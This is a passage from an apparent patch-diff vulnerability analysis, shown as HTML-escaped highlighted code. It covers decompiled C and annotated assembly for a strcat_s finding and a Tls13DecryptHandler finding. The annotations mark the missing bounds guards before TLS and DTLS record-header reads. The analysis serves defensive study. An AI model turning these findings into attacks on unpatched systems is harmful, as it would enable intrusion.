&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;out_a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #3 — &lt;code&gt;strcat_s&lt;/code&gt; (unpatched and patched decompile identically)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SizeInBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;SizeInBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err22&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// NUL copied -&amp;gt; done, in bounds&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;SizeInBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// exact boundary -&amp;gt; ERANGE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding #1 — &lt;code&gt;Tls13DecryptHandler&lt;/code&gt;, header-parse region&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;0x1C000AE4C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C000AEAC&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE4C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cipher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overhead&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE5E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE61&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;0x1C000AE70&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ONLY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overhead&lt;/span&gt;
&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;80090318&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nt"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE82&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;al&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0FEh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DTLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE8E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;Bh&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DTLS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nt"&gt;13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;Ch&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DTLS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE98&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TLS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AE9C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TLS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rec&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1C000AEA5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r12d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;r9&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;declared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
